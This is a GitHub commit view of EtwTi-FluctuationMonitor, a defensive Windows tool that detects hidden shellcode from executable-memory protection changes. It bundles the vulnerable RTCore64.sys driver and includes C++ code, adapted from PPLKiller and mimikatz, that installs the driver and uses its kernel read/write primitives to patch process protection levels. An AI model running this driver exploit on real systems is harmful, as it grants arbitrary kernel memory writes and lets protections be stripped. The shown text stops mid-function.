mirror of
https://github.com/jdu2600/EtwTi-FluctuationMonitor
synced 2026-06-06 15:54:30 +00:00
BHASIA23
This commit is contained in:
@@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31025.194
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{9574CF2B-E0E4-498C-A2C0-B79A9C8CADF0}") = "EtwTi-FluctuationMonitor", "EtwTi-FluctuationMonitor.vcxproj", "{9AAE8450-9F6B-48F0-88F8-639C936DECB4}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Debug|x64.Build.0 = Debug|x64
|
||||
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Release|x64.ActiveCfg = Release|x64
|
||||
{9AAE8450-9F6B-48F0-88F8-639C936DECB4}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {606D7C71-1786-4CD6-B2DE-05F9D17083AB}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,110 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{9aae8450-9f6b-48f0-88f8-639c936decb4}</ProjectGuid>
|
||||
<RootNamespace>EtwTi-FluctuationMonitor</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>EtwTi-FluctuationMonitor</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="helpers.cpp" />
|
||||
<ClCompile Include="loaddriver.cpp" />
|
||||
<ClCompile Include="enableppl.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Resource.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets" Condition="Exists('packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets')" />
|
||||
</ImportGroup>
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets')" Text="$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.O365.Security.Krabsetw.4.3.1\build\native\Microsoft.O365.Security.Krabsetw.targets'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{172FEE2A-BE93-4626-96EA-529B3BB3711E}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{F2B104D1-F801-41A7-951C-DB28A0370D13}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{61A61936-69C0-47ED-80A4-FDDE25A366FA}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="enableppl.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="loaddriver.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="helpers.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Resource.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,23 @@
|
||||
|
||||

|
||||
|
||||
## Detection of hidden shellcode via immutable code page principle violations
|
||||
|
||||
It is security best practice that, once a page is marked executable, it should be immutable.<br/>
|
||||
That is, the the memory protection progression for code pages should only be RW to RX.
|
||||
|
||||
On Windows, [Kernel Patch Protection](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) (aka PatchGuard) enforces this for the kernel and [Arbitrary Code Guard](https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/) for user-mode images (where compatible and enabled).
|
||||
|
||||
There is no equivalent protection for private user-mode executbale code such as JIT. <br/>However, JIT compilers, just like AOT compilers, only compile once.
|
||||
|
||||
We can monitor for violations of this principle using [Threat-Intelligence PROTECTVM_LOCAL](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv) ETW events.
|
||||
|
||||
Therefore it is interesting whenever executable memory is changed to non-executable and, to be thorough, also when executable memory changes from non-writable to writable.
|
||||
|
||||
We could alert immediately on this but, like always, there are some false positives that we need to deal with.
|
||||
Some JIT engines re-use memory allocations and there is also legimate API hooking to account for.
|
||||
|
||||
The key difference between the benign and malicious behaviours is frequency.
|
||||
To drastically reduces the false positive rate, we only alert if this is done *more than once*.
|
||||
|
||||
See [[Black Hat Asia 2023] You Can Run, but You Can't Hide - Finding the Footprints of Hidden Shellcode](https://www.blackhat.com/asia-23/briefings/schedule/index.html#you-can-run-but-you-cant-hide---finding-the-footprints-of-hidden-shellcode-31237) for more details.
|
||||
@@ -0,0 +1,4 @@
|
||||
#include "resource.h"
|
||||
#include "winres.h"
|
||||
|
||||
IDR_RT_RCDATA1 RCDATA "driver\\RTCore64.sys"
|
||||
Binary file not shown.
+610
@@ -0,0 +1,610 @@
|
||||
#include "stdafx.h"
|
||||
|
||||
// CODE FROM
|
||||
// https://github.com/gijsh/PPLKiller/tree/feature-allow-ppl-protection
|
||||
// https://github.com/RedCursorSecurityConsulting/PPLKiller
|
||||
// https://github.com/Barakat/CVE-2019-16098
|
||||
// https://github.com/gentilkiwi/mimikatz
|
||||
// https://github.com/TarlogicSecurity/EoPLoadDriver/
|
||||
|
||||
#define AUTHOR L"@aceb0nd"
|
||||
#define VERSION L"0.3"
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
|
||||
#endif
|
||||
|
||||
struct Offsets {
|
||||
DWORD64 UniqueProcessIdOffset;
|
||||
DWORD64 ActiveProcessLinksOffset;
|
||||
DWORD64 TokenOffset;
|
||||
DWORD64 SignatureLevelOffset;
|
||||
};
|
||||
|
||||
/// helpers
|
||||
WCHAR* dropDriver();
|
||||
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
|
||||
struct Offsets getVersionOffsets();
|
||||
void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection);
|
||||
|
||||
VOID InstallVulnerableDriver() {
|
||||
const auto svcName = L"RTCore64";
|
||||
WCHAR* driverPath = dropDriver();
|
||||
const auto svcDesc = L"Micro-Star MSI Afterburner";
|
||||
if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
|
||||
printf("[!] 0x00000005 - Access Denied - Did you run as Administrator?\n");
|
||||
ExitProcess(1);
|
||||
}
|
||||
}
|
||||
|
||||
VOID EnablePPL() {
|
||||
auto offsets = getVersionOffsets();
|
||||
if (offsets.UniqueProcessIdOffset == 0)
|
||||
{
|
||||
printf("[!] OS not supported - bailing");
|
||||
ExitProcess(1);
|
||||
}
|
||||
modifyProtectedProcesses(GetCurrentProcessId(), offsets, true);
|
||||
}
|
||||
|
||||
VOID DisablePPL() {
|
||||
auto offsets = getVersionOffsets();
|
||||
if (offsets.UniqueProcessIdOffset == 0)
|
||||
{
|
||||
printf("[!] OS not supported - bailing");
|
||||
ExitProcess(1);
|
||||
}
|
||||
modifyProtectedProcesses(GetCurrentProcessId(), offsets, false);
|
||||
}
|
||||
/// end helpers
|
||||
|
||||
|
||||
// Micro-Star MSI Afterburner driver arbitrary read and write primitive
|
||||
// These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
RTCORE64_MEMORY_READ MemoryRead{};
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
nullptr);
|
||||
|
||||
return MemoryRead.Value;
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
RTCORE64_MEMORY_READ MemoryRead{};
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
nullptr);
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address);
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
|
||||
// END driver comms code
|
||||
// START Mimikatz driver install/uninstall code
|
||||
|
||||
BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
EXPLICIT_ACCESS ForEveryOne = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {
|
||||
if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
FreeSid(ForEveryOne.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {
|
||||
if (hS = OpenService(hSC, serviceName, SERVICE_START)) {
|
||||
// wprintf(L"[+] \'%s\' service already registered\n", serviceName);
|
||||
}
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {
|
||||
(void)kull_m_service_addWorldToSD(hS);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"CreateService");
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"OpenService");
|
||||
}
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (status = StartService(hS, 0, NULL))
|
||||
;
|
||||
// wprintf(L"[+] \'%s\' service started\n", serviceName);
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
|
||||
;
|
||||
// wprintf(L"[*] \'%s\' service already started\n", serviceName);
|
||||
else {
|
||||
PRINT_ERROR_AUTO(L"StartService");
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(L"OpenSCManager(create)");
|
||||
return GetLastError();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
|
||||
if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL service_uninstall(PCWSTR serviceName) {
|
||||
if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
wprintf(L"[+] \'%s\' service stopped\n", serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
wprintf(L"[*] \'%s\' service not running\n", serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(L"kull_m_service_stop");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
|
||||
if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {
|
||||
BOOL status = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// END Mimikatz code
|
||||
|
||||
void Log(const char* Message, ...) {
|
||||
const auto file = stderr;
|
||||
|
||||
va_list Args;
|
||||
va_start(Args, Message);
|
||||
std::vfprintf(file, Message, Args);
|
||||
std::fputc('\n', file);
|
||||
va_end(Args);
|
||||
}
|
||||
|
||||
unsigned long long getKernelBaseAddr() {
|
||||
DWORD out = 0;
|
||||
DWORD nb = 0;
|
||||
PVOID* base = NULL;
|
||||
if (EnumDeviceDrivers(NULL, 0, &nb)) {
|
||||
base = (PVOID*)malloc(nb);
|
||||
if (base && EnumDeviceDrivers(base, nb, &out)) {
|
||||
return (unsigned long long)base[0];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int processPIDByName(const WCHAR* name) {
|
||||
int pid = 0;
|
||||
|
||||
// Create a snapshot of currently running processes
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
// Some error handling in case we failed to get a snapshot of running processes
|
||||
if (snap == INVALID_HANDLE_VALUE) {
|
||||
PRINT_ERROR_AUTO(L"processPIDByName");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Declare a PROCESSENTRY32 class
|
||||
PROCESSENTRY32 pe32;
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process and exit if unsuccessful
|
||||
if (!Process32First(snap, &pe32)) {
|
||||
PRINT_ERROR_AUTO(L"processPIDByName");
|
||||
CloseHandle(snap); // clean the snapshot object
|
||||
}
|
||||
|
||||
do {
|
||||
if (wcscmp(pe32.szExeFile, name) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
}
|
||||
|
||||
} while (Process32Next(snap, &pe32));
|
||||
|
||||
// Clean the snapshot object to prevent resource leakage
|
||||
CloseHandle(snap);
|
||||
return pid;
|
||||
|
||||
}
|
||||
|
||||
void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection) {
|
||||
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
Log("[!] Unable to obtain a handle to the device object");
|
||||
return;
|
||||
}
|
||||
// Log("[*] Device object handle has been obtained");
|
||||
|
||||
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
|
||||
// Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
|
||||
|
||||
// Locating PsInitialSystemProcess address
|
||||
static DWORD64 PsInitialSystemProcessAddress = 0;
|
||||
|
||||
if (0 == PsInitialSystemProcessAddress)
|
||||
{
|
||||
static HMODULE Ntoskrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
static DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
|
||||
FreeLibrary(Ntoskrnl);
|
||||
PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
|
||||
// Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
|
||||
}
|
||||
|
||||
// Find our process in active process list
|
||||
const DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);
|
||||
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
|
||||
DWORD64 CurrentProcessAddress = ProcessHead;
|
||||
|
||||
do {
|
||||
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
|
||||
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
|
||||
if (UniqueProcessId == TargetProcessId) {
|
||||
break;
|
||||
}
|
||||
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
|
||||
} while (CurrentProcessAddress != ProcessHead);
|
||||
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
|
||||
// Log("[*] Current process address: %p", CurrentProcessAddress);
|
||||
if (enableProtection) {
|
||||
// Log("[*] Enabling PPL protection for process.");
|
||||
|
||||
// SignatureLevel is the signature of the EXE.
|
||||
// It's already been checked, so highly-protective values here can't hurt us.
|
||||
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x38);
|
||||
// SectionSignatureLevel=0 means the signatures required for DLLs that are going to be loaded in the future
|
||||
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+1, 0);
|
||||
/*
|
||||
This is PsProtectedTypeProtectedLight and PsProtectedSignerWinTcb (copied from services.exe)
|
||||
|
||||
4: kd> dx -id 0,0,ffffe283b48b8040 -r1 (*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a))
|
||||
(*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a)) [Type: _PS_PROTECTION]
|
||||
[+0x000] Level : 0x61 [Type: unsigned char]
|
||||
[+0x000 ( 2: 0)] Type : 0x1 [Type: unsigned char]
|
||||
[+0x000 ( 3: 3)] Audit : 0x0 [Type: unsigned char]
|
||||
[+0x000 ( 7: 4)] Signer : 0x6 [Type: unsigned char]
|
||||
*/
|
||||
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+2, 0x61);
|
||||
}
|
||||
else {
|
||||
// Log("[*] Disabling PPL protection for process.");
|
||||
// Patches 5 values SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
|
||||
// Type, Audit, and Signer are a bitfield (_PS_PROTECTION). They consume 1 byte.
|
||||
WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
|
||||
